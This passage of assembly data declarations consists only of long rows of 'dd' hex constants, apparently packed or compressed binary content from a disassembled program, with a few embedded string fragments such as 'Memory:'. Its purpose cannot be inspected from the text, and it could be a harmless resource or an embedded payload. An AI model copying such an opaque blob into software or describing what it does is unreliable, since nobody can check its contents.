		dd 0C8EE07h, 0F07E25BEh, 0F495725Ch, 0CA92AC07h, 7520F2F5h
		dd 42CC88h, 2F3344DCh, 85844F80h, 251520Fh, 40400FABh
		dd 9C7C20F9h, 302C00F1h, 0D81C051Ah, 0AB07B8C3h, 0FE2D331h
		dd 2A60A510h, 5CFB0EE0h, 0C121061Ch, 708B1FFAh,	9900E6FCh
		dd 38F8D333h, 3B487FADh, 303F5EF9h, 0E8000EBEh,	395364DAh
		dd 2500AFEAh, 7E75F448h, 9D5442h, 5E24054Bh, 0C93793C1h
		dd 2C383500h, 535CAC92h, 317F000Ah, 0C1F096Fh, 0F9031474h
		dd 0FC2B7A81h, 0EC10F873h, 50F230A5h, 0D81754DCh, 57F81A00h
		dd 703C685Dh, 83FA42h, 0F01212Dh, 0CC2ABCE1h, 8A309201h
		dd 2299B355h, 3D3CF0h, 0DE605C6h, 43460E02h, 1F0044F8h
		dd 0E8C76603h, 0AF9D6Ch, 287F34A7h, 92A40901h, 897058h
		dd 4991410h, 0ECA78056h, 98EB00E8h, 2940693Fh, 541F4BFAh
		dd 2A050A90h, 5D80877Eh, 1A5A6Bh, 697947F3h, 5F76139Bh
		dd 22302D00h, 9DAB7CBAh, 3AE500F9h, 0F4AF25Dh, 0D07B25Ah
		dd 472CA31Bh, 9001BBE0h, 84280015h, 204838DBh, 0C201F229h
		dd 94345577h, 0D660CBF3h, 0B8090092h, 0FC114710h, 0F8008891h
		dd 0F072F4E4h, 90CEC39h, 8B82F53h, 8343CC00h, 0CC033D2Ah
		dd 197DE0D7h, 25E2F00Ah, 0D22E00E8h, 1C8368A8h,	0E175406Ah
		dd 987B4503h, 0D8A50C02h, 0AEB1Fh, 2D31A153h, 3D0D8B43h
		dd 0E01D8900h, 78156B19h, 83784Fh, 2F2893E8h, 1CD422A3h
		dd 56E75403h, 0E0A531B3h, 5771E14h, 32157CC5h, 0D04CC74Eh
		dd 8B730A3Bh, 282B2903h, 0A8CD191Fh, 581246h, 548E0B2Dh
		dd 318A4C9Bh, 1DC80D00h, 1442058Bh, 0FF600084h,	15F66428h
		dd 6D182C6Bh, 0AD04C382h, 4F34176Eh, 80B71E5Bh,	7A17E022h
		dd 0D903E612h, 0E3535A88h, 0AEE2A0B6h, 0D4A100C5h, 8A7B3448h
		dd 0CD00C48Bh, 0D88E6927h, 0B4E641h, 8900460h, 0CAA8A10Ah
		dd 0EA31300h, 0BA4B80Ch, 0EB2503E8h, 8466937h, 94047BC8h
		dd 4B13BA00h, 75F998B1h, 25EE6Eh, 9E9D5014h, 764D8BC9h
		dd 5328A200h, 20D53AEDh, 0C10CE627h, 0EC908458h, 0C55B204Fh
		dd 0D835FF00h, 0BCB93D14h, 331C014Eh, 54CC2524h, 790BCC99h
		dd 3401577Bh, 932DC45h,	69E480C4h, 0EB601EA6h, 0A49ECF10h
		dd 722413C0h, 99282004h, 2309EE08h, 149118h, 7C0CE47Ah
		dd 478E1EA8h, 40A05EA4h, 3998729Ch, 90691C94h, 0F07FFE1Ah
		dd 6C009170h, 64E468C8h, 98396072h, 22586132h, 60502354h
		dd 4800C819h, 407244E4h, 601C3C39h, 23342238h, 2C009130h
		dd 0B4E4B8C8h, 3BB072h,	0FC319382h, 0A6F8104Ch,	0F4470800h
		dd 0EC91F023h, 9FE800CFh, 10E494A1h, 802E0CAh, 0D872DC64h
		dd 0D0464139h, 23CC5E80h, 0DEC491C8h, 0F8CE100h, 3D207B7h
		dd 10E200C1h, 0B0C3C20Bh, 4F98A1E8h, 0B62F9300h, 90AE01CCh
		dd 7FE10181h, 187BD521h, 4914DC05h, 57780800h, 64487710h
		dd 5387000Ch, 517F90FDh, 1AB80F8Fh, 697C9717h, 4C459501h
		dd 4770F909h, 0B1465080h, 0A2423A3Ch, 0E7641A83h, 898F06Ah
		dd 0C83EF111h, 72F300F2h, 1CF539F4h, 0F7C8C0F6h, 0F991F823h
		dd 0E4FAC800h, 39FC72FBh, 0FE1C0EFDh, 0E08CFF8Eh, 2303E12Ah
		dd 0C8E391E2h, 72E588E4h, 0E73900E6h, 0CF21E81Ch, 0E901884Bh
		dd 32EAC5D7h, 0E20EB18h, 0ED1C30ECh, 0EF23EE42h, 0C8D09100h
		dd 72D2E4D1h, 0E83B75D3h, 0D6390CD5h, 0D82AD71Ch, 91D92301h
		dd 0E4DBC8DAh, 39DDC040h, 0DF1C20DEh, 0C123C000h, 0C3C8C291h
		dd 72C401E4h, 1CC639C5h, 722BEC7h, 0CA91C923h, 0CCE4CB50h
		dd 39CD0472h, 0CF1CCEh,	91B123B0h, 0B3C824B2h, 39B58111h
		dd 80B71CB6h, 0B923B822h, 0C8BA91h, 72BCE4BBh, 1CBE39BDh
		dd 12A0BF40h, 9BA122h, 705CC165h, 431E23E8h, 1EBC848Fh
		dd 425E082Ah, 65209F03h, 0E75BD8FEh, 0AC901DCFh, 0C29C032h
		dd 4B103CBAh, 0AA1FFC7Fh, 51400E2Ah, 0F62F0501h, 2AB0FEh
		dd 65637845h, 0A6D13A70h, 805D883Ah, 8B530A7h, 1C8A1020h
		dd 0C0685CD4h, 817E2423h, 651F4845h, 5B037061h,	0ABE45790h
		dd 95809CB2h, 0C015E2h,	754F450Ch, 66017473h, 6D654D00h
		dd 3A79726Fh, 9520001Ch, 0A9E95C5Eh, 91EAB840h,	450BD4F5h
		dd 0DD6E4909h, 3FEE0EBDh, 588E989Dh, 48EF8390h,	2F0C9066h
		dd 28400F74h, 0D8A06C61h, 0B258F057h, 4C6030B0h, 2D12C484h
		dd 846C0523h, 817E5F50h, 0F0756020h, 10165209h,	35010E65h
		dd 47F658A8h, 79043CD0h, 0F01F642h, 76694445h, 415A7900h
		dd 90016FBBh, 585E60C1h, 0EED4109Ch, 2C00048h, 676E6152h
		dd 9DFD1965h, 7700C820h, 8210C92h, 4076014Fh, 6F6C66AFh
		dd 2B74F44Dh, 0D95CB41Ch, 64221DC0h, 0FC0C20E9h, 1E0A7EBFh
		dd 0B9063B3h, 0F38F7AD5h, 688461A0h, 940B2E60h,	7626B4h
		dd 4F64691Eh, 0D2902A70h, 0BE07F193h, 5B92B740h, 0C237B4C0h
		dd 0E74F1FBCh, 61F16C4Ch, 14D4C1A4h, 9A1F0062h,	0D0084740h
		dd 520A6E55h, 0EE3A5964h, 6C76AB28h, 0D188E500h, 8760220Fh
		dd 4F6F0450h, 81854A36h, 0D044F649h, 301DB90Ch,	97D567Eh
		dd 8C433Ah, 63E98D01h, 7542F4AFh, 0C01D0024h, 6F43450Dh
		dd 0B002BAD4h, 80A2D858h, 0A00543BDh, 0EACC4Ch,	41451005h
		dd 7388C363h, 0E0568A00h, 0B9616C89h, 0BC2A1E8Eh, 40F64047h
		dd 26F42CB1h, 325048h, 1656C8Bh, 503890E4h, 0C084CA64h
		dd 0E803B0Ah, 74005345h, 6B632661h, 67905081h, 4064A294h
		dd 1109C93Bh, 20747003h, 0A7EF6C6Bh, 58AFEC30h,	52E864h
		dd 5684C83Bh, 390D8761h, 8A04512h, 0D4FC8D00h, 58EA5C40h
		dd 0C51E2449h, 0BD59C02Dh, 23614609h, 8D646F0Eh, 0B260C057h
		dd 7FE41DA8h, 8462030Eh, 738572D9h, 490BDE8h, 839C6655h
		dd 41491F0Ah, 4365D2ACh, 8F60E074h, 0B289E7E4h,	890C8112h
		dd 0C4002A1Eh, 8D70E3DCh, 6903FFh, 59242552h, 0FDAA7ECh
		dd 0C1C20100h, 0F76610EAh, 5DF407F3h, 0D0F9ED08h, 0B0130693h
		dd 0BD04D809h, 0B2768010h, 4CEDA1FEh, 37003E74h, 525A6CCFh
		dd 5C00212Bh, 6A69B3A9h, 29EA84h, 10236DAFh, 2CA66706h
		dd 1B409D00h, 44B7C38Bh, 4DEE00EDh, 0B3E58F5h, 5B016D47h
		dd 0D70D3D28h, 4BF8FC67h, 3AEB00E1h, 0B04A2ADAh, 0C91690A5h
		dd 0B1005388h, 0EBA80996h, 0D2D900DDh, 89DC520Fh, 390716C1h
		dd 47AC76D1h, 0F3C9003Eh, 12A74A6h, 95FF5E8Ah, 70627852h
		dd 770F7A94h, 0C07D4855h, 0A120DC7Fh, 0A0C2703Bh, 0FB38F5h
		dd 300FD874h, 0D706C3B6h, 69D02900h, 31DFAE5Bh,	2EEA003Ch
		dd 64EFADD4h, 2A00ED58h, 43A0E66Eh, 7CF33Bh, 6807307h
		dd 7620FF1Fh, 0A16F40Eh
		dd 0C58B407Dh, 0EB6192h, 2A914E17h, 6CF83037h, 0CB2BCE00h
		dd 0D3674175h, 99330073h, 575AD0DEh, 6A002187h,	51A65F09h
		dd 0E44E08C6h, 0C16F03B8h, 67E4BAC2h, 604FEBE0h, 1AFB0501h
		dd 6844BDD8h, 2502C8h, 54F7644Ah, 1E036669h, 0E7890800h
		dd 0F90FC685h, 4D4F0010h, 6818BAE2h, 0F8FE31B2h, 0AD0049E2h
		dd 0F062B034h, 0F829016Ah, 0B2640054h, 10240CDBh, 860067E8h
		dd 557550BAh, 12F3B91h,	3822F5D5h, 402E1004h, 0C4F278E2h
		dd 3A3F9400h, 0F4DAE445h, 0EE6A2E96h, 0A9F0001Bh, 795990AAh
		dd 19E5F100h, 0ED4B405Eh, 0F4263868h, 0DFEA503h, 51F01F8Ch
		dd 0D90197F0h, 89153D65h, 0BCC8F5Ch, 842401D4h,	0EB66ECA1h
		dd 0AFE8D490h, 43CC5600h, 9F0C62C6h, 5FFE4Ch, 0D4D68251h
		dd 993537AAh, 5A880207h, 32079D6Eh, 31566910h, 3EF83F84h
		dd 40E7C39Dh, 747F588Ah, 5C7C1228h, 9AEFF00h, 6B291B50h
		dd 3F840002h, 4461765Bh, 884CEE0Eh, 75400E9Fh, 3802403Ch
		dd 8C4F06h, 7C7FFF85h, 0CCD99DC7h, 0FAACCF00h, 0B815D39Fh
		dd 697970h, 2658E711h, 560580F0h, 4DB90102h, 0E1BA7FCDh
		dd 0C73F692Fh, 0B38069D4h, 0E4CCE884h, 0AA0014E8h, 9213D353h
		dd 0A32CFACh, 24F40852h, 70FC00E5h, 0A40F45E3h,	12FB307h
		dd 33D06DF7h, 3D3A20D2h, 0AFAE19E8h, 0B6F400AEh, 0FA0E3816h
		dd 1ADD3E00h, 0A0E7DC0Dh, 0CE00130h, 729F2DB0h,	0A639600Eh
		dd 58441A00h, 104686C2h, 5BC30012h, 0BDE6127h, 29005E90h
		dd 9697C714h, 7BC2516h,	0FEB818E8h, 98C8D013h, 0EC0099E3h
		dd 34D6373Bh, 16AFCAA4h, 11B080h, 0E9C13A95h, 0A6004D9Fh
		dd 38BED1D2h, 0F08BFFAEh, 0FD6E0021h, 0DEEECE22h, 7600EF5Eh
		dd 36404A3Ch, 73FC5FCh,	27895657h, 7FF7405Ch, 9D06E7D1h
		dd 0F899CA9Bh, 2447FAB8h, 0D6B5Eh, 0CBA3501Bh, 0B0004C4Eh
		dd 54C105F6h, 78410175h, 2DAA0029h, 5AD91996h, 783D1785h
		dd 0DFB0067h, 0D83B622Eh, 9FDA00C0h, 50127DC5h,	0D000A928h
		dd 597A8E90h, 15A5F25h,	802AF4D3h, 0D0C6AACAh, 67003164h
		dd 21D20BFFh, 8A249Eh, 13F80246h, 99E823ACh, 0B057E53Ch
		dd 0EA2112FAh, 94613920h, 985D9E03h, 0CA9883A8h, 10EE097Ch
		dd 95543200h, 6444A7D9h, 573A0E47h, 506012ACh, 86405C3Dh
		dd 0D0885F03h, 98E16392h, 67503h, 4648F82Eh, 766CCCA2h
		dd 97299800h, 0BCBAB662h, 55DC00EAh, 0ABD447CBh, 1872F88Ch
		dd 6BF9C000h, 0F20ACC88h, 951200E8h, 0C41A10E6h, 78F8779Fh
		dd 0D90070FCh, 0FBF2F87Dh, 761F0Eh, 0AB9BBB05h,	944A8C26h
		dd 8E7B9000h, 4B9FBC01h, 9DC400DFh, 0E8D602CBh,	0A6F259FBh
		dd 3C1C1900h, 20A864FFh, 6AA028Bh, 0F0CF22CBh, 61F056C3h
		dd 6C0524B1h, 8F9A289Ch, 62B01E87h, 0F732E76Fh,	0A8DAADCh
		dd 60537BE2h, 558C0094h, 5D892082h, 16297F00h, 3CE1FA2h
		dd 7D510068h, 0B22890FCh, 612C8C5h, 0CC0012F4h,	0CE390E16h
		dd 0ACB01CA1h, 0CB254920h, 4476C100h, 4C3FEB28h, 0E90D002Bh
		dd 0BF845FF7h, 6430031h, 0FEBAEAE8h, 0EC730C88h, 1CEB4500h
		dd 575302Dh, 0ACDA1E31h, 5CF100E8h, 3A7FD25Ah, 340A6E03h
		dd 0F8C825D8h, 1DFEB31h, 22BBE414h, 0C42E6440h,	0B40F2919h
		dd 9C2649h, 0DC75C3E0h,	0A6525851h, 5AFBCD04h, 0A08D80EEh
		dd 6000273h, 7D80DB31h,	727C9AEBh, 12CA000Ah, 42D10104h
		dd 8758A4ACh, 570C1FFDh, 0E948F7Ah, 0E99D009Ah,	3C610ABAh
		dd 0C6004454h, 5A18A104h, 9E7F8B59h, 15D8331Dh,	302AF880h
		dd 0E80A2274h, 803C0072h, 37097739h, 0C0F7DB6Bh, 6C003BE4h
		dd 12AC0B6h, 3E5080C3h,	1A0B9403h, 0D68AE958h, 46178Dh
		dd 1277A7DEh, 1077D4FFh, 390C093Dh, 26B3807Ch, 0AB74EA1Ch
		dd 4F1F0086h, 24C2ACDCh, 0C12488DFh, 6E029DFFh,	0E070523Ch
		dd 75015Ah, 0DE348D0Ch,	4A0F06D8h, 43F0B60Fh, 669D8024h
		dd 0F4406Dh, 0AA08CC6Eh, 7F88C111h, 0F1816F00h,	41276112h
		dd 4A1800CAh, 2102C604h, 93C2564h, 34D08E7Bh, 6919C066h
		dd 2C0111BEh, 3FE87Dh, 0B955D39Dh, 0DC074D87h, 97D5D129h
		dd 5D8DA330h, 20120061h, 0F29D1399h, 53007368h,	44F9800Bh
		dd 0B0C8D074h, 2A600EB4h, 40DE580Ah, 826FB4B9h,	0F70023EBh
		dd 1E575243h, 157480h, 48831B4Dh, 0F95BFBC3h, 24FAE800h
		dd 2D02B04Fh, 884E1F41h, 90F7C006h, 4B758DDBh, 0F1AF3Fh
		dd 9D038BCCh, 785848h, 92598043h, 60EAE2BDh, 723AE900h
		dd 2907C383h, 1E161E4Eh, 27033942h, 9DDBC89h, 0CA75D080h
		dd 0AF4D8D00h, 91A1F129h, 0E3B72E0h, 39907654h,	0AEA7842h
		dd 0D330F660h, 0F17B100h, 8F4257B5h, 22111E15h,	3D854010h
		dd 93ACE092h, 90017E0h,	0F70E79C0h, 29E8D8h, 51875E81h
		dd 65997E9Fh, 637B4B14h, 23EA0F90h, 53D180CEh, 3E0BA88h
		dd 520191FEh, 0D1DF220Fh, 0F055A9C2h, 0F8ED89B0h, 0EF0008FDh
		dd 3C96245Bh, 42EB05h, 2122C931h, 0F9042BB0h, 0A280AC0Fh
		dd 1235C0C8h, 38BCBEh, 5DD5D1Dh, 0E391CCDh, 93005279h
		dd 0F0713B13h, 6AD6B7h,	0EBCA5D5Fh, 7C95170Bh, 9053400h
		dd 0EABA74F6h, 3B710001h, 6F77E04Dh, 0C01901Ah,	0D605091h
		dd 2FC2A65h, 0E3291C97h, 0F24F8033h, 5FB686F9h,	5040411Ch
		dd 45C78880h, 1C52E04Bh, 0DF0431E9h, 0B7FC4086h, 274EB01h
		dd 6E98E103h, 0C047EFB3h, 1FF3F77h, 0DF450E9Dh,	0E5029038h
		dd 4440EE46h, 4E047E03h, 114DF5C8h, 4B31AC0h, 7773FCB8h
		dd 139EC92h, 0BA2576C2h, 0E08A4BB5h, 0C3001B75h, 0F5F41509h
		dd 8B0291h, 3BABE8Ch, 0F87B832Dh, 2229B81Ch, 53260FC0h
		dd 0B886FA50h, 46F201E3h, 0A9E8CF0Bh, 0C155207Dh, 462873Eh
		dd 0D9AB50C3h, 736FF680h, 0FD4F035h, 2024B211h,	34E6BF40h
		dd 9600F1FAh, 63824BD5h, 7B7D59E3h, 900C0111h, 0CE2E0809h
		dd 0E8D7F830h, 0E45C0F00h, 0F6034167h, 0CC7C00FEh, 1BD5169h
		dd 87009124h, 96CF38D1h, 52B785h, 0C564FA48h, 0A4A7C4E1h
		dd 391F5E00h, 0F09401DAh, 100200BBh, 0E3D44513h, 0D300277Dh
		dd 0E05AB67Ch, 3ACA2BC1h, 0D6603B78h, 0F8E3321Ch, 4D759100h
		dd 3EE6EAEh, 0F685008Dh, 7B9854EFh, 0C0F57EBh, 0C05C40h
		dd 2C23B38h, 437D7Ch, 0DDDB0330h, 645157B2h, 62722F00h
		dd 0A6B4BA7h, 0AA470095h, 0EC7D4F39h, 923E2A34h, 0EEB0F2Dh
		dd 2563E08Dh, 0E419F6h,	4118C5Eh, 3490DCA4h, 7ADD6105h
		dd 61870DD8h, 8EE84B20h, 0FBC100A5h, 0D92A1179h, 351CDC01h
		dd 16C0D848h, 0AA406EBh, 5A050013h, 89CA0495h, 8400EE11h
		dd 681C9D0Bh, 562E74h, 45C68510h, 7E1EBAFFh, 730018ECh
		dd 0FA3B0C4Dh, 47203Ch,	0F841F940h, 0E8FE0581h,	3AD48200h
		dd 6939FFB8h, 0EE80000Eh, 0D2121936h, 600E92E7h, 471603D5h
		dd 0D14020C2h, 9FE810h,	0AD6CD61h, 0DB307828h, 0C8AE0660h
		dd 0EA4714Fh, 0DD180886h, 1A79B40h, 5EF2CB8Ah, 3B6A4C58h
		dd 39A4BB80h, 92718770h, 8BC09757h, 881EC5h, 66517231h
		dd 0FDC79A5h, 0CF094F07h, 57D010D5h, 278461h, 7E811575h
		dd 456744A1h, 37E3C000h, 97173259h, 2B8E0056h, 88723810h
		dd 407CDAF4h, 915FF800h, 0E1E44D28h, 0A6F4C8h, 4FE083C1h
		dd 21D00C03h, 0C7D91401h, 0D64BEB4h, 98CE60F8h,	0B585001Dh
		dd 0B9157672h, 0F0F0190h, 0A15AF120h, 0AED6E8B8h, 7C508D47h
		dd 13F8B2h, 66FA6C14h
		dd 0D8FE28E7h, 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h
		dd 3431EC04h, 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h
		dd 167ABD3Ah, 7E772700h, 72052026h, 787A67h, 33F0CE0Ch
		dd 3F6C18FBh, 81C7FC00h, 0FE465C3Bh, 94620077h,	17904815h
		dd 30070E7Eh, 5C036618h, 41FE4E21h, 0F775F8h, 0A4D2C3Ch
		dd 0A0C18B49h, 0EF996700h, 6DF16963h, 3F7C13h, 0DC8D39D1h
		dd 0F06A2BF2h, 6CB14012h, 0F3FD2B00h, 0C36231h,	23EE810Ah
		dd 857524D9h, 7F144905h, 0B5C5FD45h, 76A39C3h, 0A8427C6Ah
		dd 7791F073h, 62037BE2h, 0B1B8461Ch, 0D21BE0AFh, 0E83C392Ch
		dd 61BA1480h, 0F82DF410h, 6CE7201h, 75FF085Dh, 0C60B0EFh
		dd 0C0E8076Eh, 0D0B6FDA2h, 0C985EC82h, 2B127F71h, 0DF075ED0h
		dd 64E00D2Ah, 5BB35F4h,	8C063757h, 902BC0F0h, 7034612h
		dd 497D834Ah, 819DE0A5h, 0B1F90017h, 7C660F3Ah,	0E90206BEh
		dd 90109ED3h, 12FDC071h, 19130052h, 0F2BCED7Dh,	5004672h
		dd 8EACBA66h, 7B3182h, 9A2FB3A9h, 0A7504C3h, 4DFFB905h
		dd 0EE000DDEh, 3E6B322Eh, 74410764h, 132A56D8h,	10B04490h
		dd 503B55Ch, 0FCC12DA4h, 2E098F0h, 481E005Eh, 0E64B5288h
		dd 5000CB2Ch, 6D07625Dh, 0F14110Eh, 74778693h, 4C9CC840h
		dd 0B400AD4Ah, 8CEC465Dh, 103B63h, 15640B72h, 4002291Ch
		dd 7FDFEB1Fh, 1A388AC0h, 7DF80CC8h, 64F1001Bh, 4BF41626h
		dd 0F207BA5Eh, 514E444Ch, 342507D0h, 8060094h, 50FE1391h
		dd 205C67FDh, 575E0011h, 2590E9D6h, 0B47E00E0h,	27E85082h
		dd 0BB019148h, 9D0EED4Ch, 99F3540Ah, 43FC2B63h,	0DD530F1Fh
		dd 28E7A65Ch, 5016230Fh, 0EE09F9D8h, 0E8141002h, 6061C720h
		dd 1EDD8015h, 0C337B81Ch, 9689F104h, 0EC46C3F9h, 0AC1F0EBEh
		dd 4B009235h, 5C7A68B0h, 0A28D0071h, 0FD267712h, 9A1ECD2Fh
		dd 514058B5h, 3894492Eh, 4FFF0022h, 2DF6F3C3h, 0AF001109h
		dd 0D79E7323h, 51D0C8h,	6A621EB6h, 9499F502h, 41585700h
		dd 0E08A6505h, 0F8F6EBh, 3260B63Eh, 50895951h, 0D09F0300h
		dd 64EBDFDBh, 1012000Bh, 6233DAB0h, 6B00A7C9h, 94C65565h
		dd 1A40D5Ah, 0B87604D2h, 0DC8DD34Ch, 48000AE2h,	0CC264A01h
		dd 0EE51554Eh, 877EA6h,	5277E84Fh, 0DB4D3FE3h, 0C8004AECh
		dd 142FBECBh, 58C64175h, 551C1E44h, 0B7D0C06Ah,	7C4CB950h
		dd 94613Dh, 444303BEh, 2CDFE848h, 0F2CD24h, 0C4C6A9B9h
		dd 400923AAh, 80857CF0h, 0A00AB5B2h, 197F6C7h, 5F0EFC43h
		dd 0C8FB14F4h, 0AE02750Dh, 44748861h, 5064090h,	9B7BB9h
		dd 0F859F913h, 0EC020698h, 64AC0405h, 1DEEE4D0h, 574ECF28h
		dd 4B6F7181h, 0C9606042h, 2A001E75h, 2E8F039Eh,	0FC1CE9h
		dd 73706C85h, 0B19C7508h, 3A62860Bh, 0E1550077h, 0EE36B6Eh
		dd 8B1CF3CBh, 1D8866A5h, 0F633C7A8h, 6CC60B8h, 3000077Eh
		dd 3C961F74h, 0E2ABB49Dh, 0F0440187h, 0A59B3C5h, 0F6823FCEh
		dd 2E10C08Bh, 2AE200B5h, 0B297C44Ch, 590F44CCh,	40D4E542h
		dd 0D0112CF2h, 29FF0012h, 0C948A40Ah, 3300AF22h, 581CE1D2h
		dd 48901h, 0B9B31F56h, 77ECE23Dh, 0DF5E3Dh, 0ADE676A2h
		dd 7CD5B4ACh, 8F170FF0h, 0FCA53878h, 0C6CDC048h, 2900A4B9h
		dd 90BBA27h, 0E1F9BAFh,	5DA2D77Dh, 8F806EEFh, 0CEFD3C41h
		dd 0C80720E9h, 54046A00h, 37503056h, 0DF442568h, 16245500h
		dd 420099BAh, 90A4D4B8h, 7F4ACC7h, 4A045698h, 0FB8069FAh
		dd 80102903h, 0AA2CA500h, 0E5784296h, 0BC7E0094h, 28DC4E54h
		dd 98008C31h, 0A6869B88h, 13BA4AC6h, 7A6A42h, 5EA52FF7h
		dd 70FACACBh, 8902807Bh, 0C2D40E09h, 825AC0C1h,	25E43Dh
		dd 75B0A166h, 0E80C5E5Ah, 0DDD0F00h, 13C4F330h,	0FEDB0016h
		dd 0C32FC2D9h, 0C0003506h, 0F448A23h, 2CFF1Eh, 8F1A4E47h
		dd 0BC16CC20h, 54FEF80Fh, 9300F2C4h, 0F9558388h, 0FAE900AFh
		dd 0D8434B5Fh, 2743B53h, 0D27E3Eh, 0C7256A4Ah, 55AE9Dh
		dd 0EB41120Eh, 0A30FE620h, 144D0500h, 24731682h, 2210032h
		dd 774CCE54h, 2B005033h, 0B78EF44Dh, 7E9FBE0h, 0BA6DC53Bh
		dd 8DC0C084h, 29005077h, 0B75AF7E8h, 5C63B9C4h,	9000940Fh
		dd 1F783352h, 55007EEBh, 4882694h, 7121179h, 0A2C314A4h
		dd 0FA56F003h, 4E039FACh, 30E2B810h, 7459D898h,	736B040h
		dd 0C4370E64h, 0F9A9B028h, 0DF900FF0h, 8E006174h, 22AF2516h
		dd 471C4D6h, 0BAF0207Ah, 0A8FC04h, 671CDC4Dh, 2C5EC64h
		dd 1A0C5903h, 1EE0B879h, 373E14CEh, 0B4080065h,	0B648E82Ch
		dd 20990024h, 522D1DCAh, 4BE870A9h, 80E71000h, 0A8C48106h
		dd 0BB3A00FBh, 5EDA90F5h, 850054E0h, 24D6D07Ah,	710BCF8h
		dd 810D48D7h, 411BF0BDh, 1C00752Fh, 0EE5C987Ah,	0E88BFD44h
		dd 25A000D4h, 469437E8h, 23017542h, 0EC971C9Ch,	48F02259h
		dd 4F6100B5h, 95A0056Ah, 90014EBh, 4A339D2Bh, 20CCC5h
		dd 0E85CB227h, 45759331h, 8842D01Fh, 24FEF300h,	11196h
		dd 0BB125F22h, 130A7C54h, 2D05BF00h, 0A915A685h, 0E809003Ch
		dd 69D61C4Fh, 0BB002145h, 0E0F31E12h, 0B5D831h,	0CE4D59E3h
		dd 36D022Bh, 832EFF00h,	4B58BFD5h, 26360065h, 3F9DA4C2h
		dd 5D0038A1h, 0FB40254Eh, 0ECF32DEAh, 4947000Ch, 0F4A49541h
		dd 0A1FE3B6h, 28C01B6Bh, 0C896C0Dh, 0F8C60F67h,	420CAACh
		dd 0B026CC91h, 0B4448600h, 9F6BBF06h, 0A4B800D2h, 54FBC10h
		dd 0C0509DA5h, 6FCC4B6h, 0C800BDEAh, 8D22CC64h,	90504AA3h
		dd 0A48C0EDCh, 0BC40BA86h, 60078B63h, 806BC63Dh, 520FB6B4h
		dd 2E01A6h, 45859009h, 0D98C6FC0h, 242C4C00h, 6A107944h
		dd 0D0A10013h, 7F80F0C2h, 1A012A61h, 409F0F2Fh,	9A70C8C4h
		dd 7A9700CFh, 0E6B4035Ah, 6A7F2736h, 8ACA5100h,	7CE966A8h
		dd 10680013h, 99EDA920h, 7B00480Bh, 494F1191h, 0EA406E43h
		dd 98FAD3h, 0D217A33Bh,	8D7D30ABh, 0B3044700h, 9BBA693h
		dd 0DDDB0184h, 742D2915h, 90DE4302h, 0E65A41B8h, 7D4A7200h
		dd 5212C3Dh, 4D6E008Bh,	3B022408h, 0F5000789h, 0C3C7B5FCh
		dd 5810DBCFh, 5A009471h, 0EC598B7Eh, 8003A234h,	0FC9182B7h
		dd 0F3C095B4h, 3E6CFEh,	5A8F59F5h, 7E03C48Dh, 0BAF82000h
		dd 5292B102h, 9A7E6B7h,	78800498h, 0BE00AA74h, 691B6693h
		dd 168D0034h, 0F254090Eh, 52000429h, 0BA086365h, 36A1D79h
		dd 331720F3h, 16C309DBh, 0E0D62BC8h, 0FB803F07h, 3BC07F06h
		dd 2E5DDD34h, 0DF8E4h, 150F0EF1h, 0C3010C8Bh, 85B0D8E8h
		dd 0FB709CB8h, 0DAE63A5Dh, 0EF1DEB8Ah, 2EC6059Dh, 0FDDBC0D3h
		dd 55B88B04h, 77FA8503h, 806DE41Fh, 0C7089h, 0A0915A59h
		dd 8880B494h, 0E42D0A03h, 0A281A54Dh, 0D0B88053h, 67744Ah
		dd 600F060Bh, 7216EA83h, 0EB100403h, 90F8A123h,	0E421DDDFh
		dd 74400FCh, 0C50477C1h, 340062C9h, 0CFF14858h,	247DC752h
		dd 0ABDC50h, 0BCE9776Eh, 0BF01D35Fh, 0F3E07432h, 6F83CCCh
		dd 0CFE200FCh, 297FB0C4h, 0BD00C27Ah, 168F720Ch, 67E8D3h
		dd 0D40DA092h, 0C0A10BB9h, 0AF001898h, 0E43B57F0h, 7667DC6h
		dd 0EECF869h, 100BC33Fh, 927CF4D0h, 50E88060h, 555AC01h
		dd 68C1A1E0h, 0FB0A8058h, 0FC00EA51h, 0A5666F64h, 0B191CEh
		dd 117FB762h, 0D3D52DE0h, 0F0466909h, 60558041h, 894831h
		dd 5BB56FCCh, 0B9BC72AAh, 8C41FC2Ch, 63A6813Dh,	0C183040Ah
		dd 1F2DF4CCh, 3AFDBBh
		dd 9AC02456h, 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch
		dd 6A0D4680h, 8403FB91h, 0FE1EDDEAh, 2353D814h,	3C100055h
		dd 8EEB7C72h, 0E204471Fh, 0BB379F33h, 0C13596C2h, 10203030h
		dd 408C012Fh, 0E424AA25h, 0B095201Dh, 36C30307h, 5E50604h
		dd 2B30487h, 9D09CB08h,	200C9C03h, 160EF80Dh, 1A840090h
		dd 687013E8h, 93EE6675h, 3825B10Fh, 84FEE0D8h, 985C8A9h
		dd 54CEE6EAh, 86AC7080h, 4839B042h, 84A9032Ah, 0BB298267h
		dd 2EAD812h, 7B8300A8h,	0F7F6114h, 7C00A522h, 0B4496847h
		dd 589C88h, 26961873h, 782F7024h, 0C748018h, 7D6212h, 15235AF0h
		dd 87B3850Fh, 0B614B17h, 0A6164307h, 2470E471h,	719684FCh
		dd 66D900A4h, 0A114B8FCh, 2500DA48h, 658B378Dh,	32E0A95h
		dd 0E81F39B9h, 16E02AA7h, 2098B464h, 57335007h,	0C0C0BE8Bh
		dd 3AC4443Ah, 3DBC990Bh, 4210C883h, 0B5F87DCCh,	522D0DD0h
		dd 7F5500D4h, 1F883386h, 0A1AC44h, 8DCABCE4h, 89E82410h
		dd 96633401h, 5AEB2948h, 0E9490D4h, 5C4A98C8h, 0A0C09CCEh
		dd 0A832A4C4h, 0C1F317Eh, 95D8102h, 265C80CCh, 0E0696285h
		dd 6E606E22h, 0A702A68Ah, 0BA8918C9h, 4963E003h, 3CB700BEh
		dd 0E9CA8BD5h, 65FCD28Ch, 0DDBC7400h, 0B327ED7Ah, 8343077Ch
		dd 39EFC89h, 0C2B8D00Bh, 0CB0103FDh, 74917208h,	3430641Dh
		dd 2273002Ch, 0EFA85EC3h, 0F400553Bh, 5969CCA7h, 17D73017h
		dd 0FDED83h, 0E1E0DD7Dh, 0A176F001h, 7D0B6600h,	855EA488h
		dd 5D4000A5h, 38FF4C15h, 61DB292h, 0BE004657h, 8835905h
		dd 0C99407F0h, 0F7CDDBh, 8257E815h, 0F6B82503h,	0B0216ACAh
		dd 7F90C432h, 858400D4h, 0AC456C26h, 0F67F8139h, 0FECA9800h
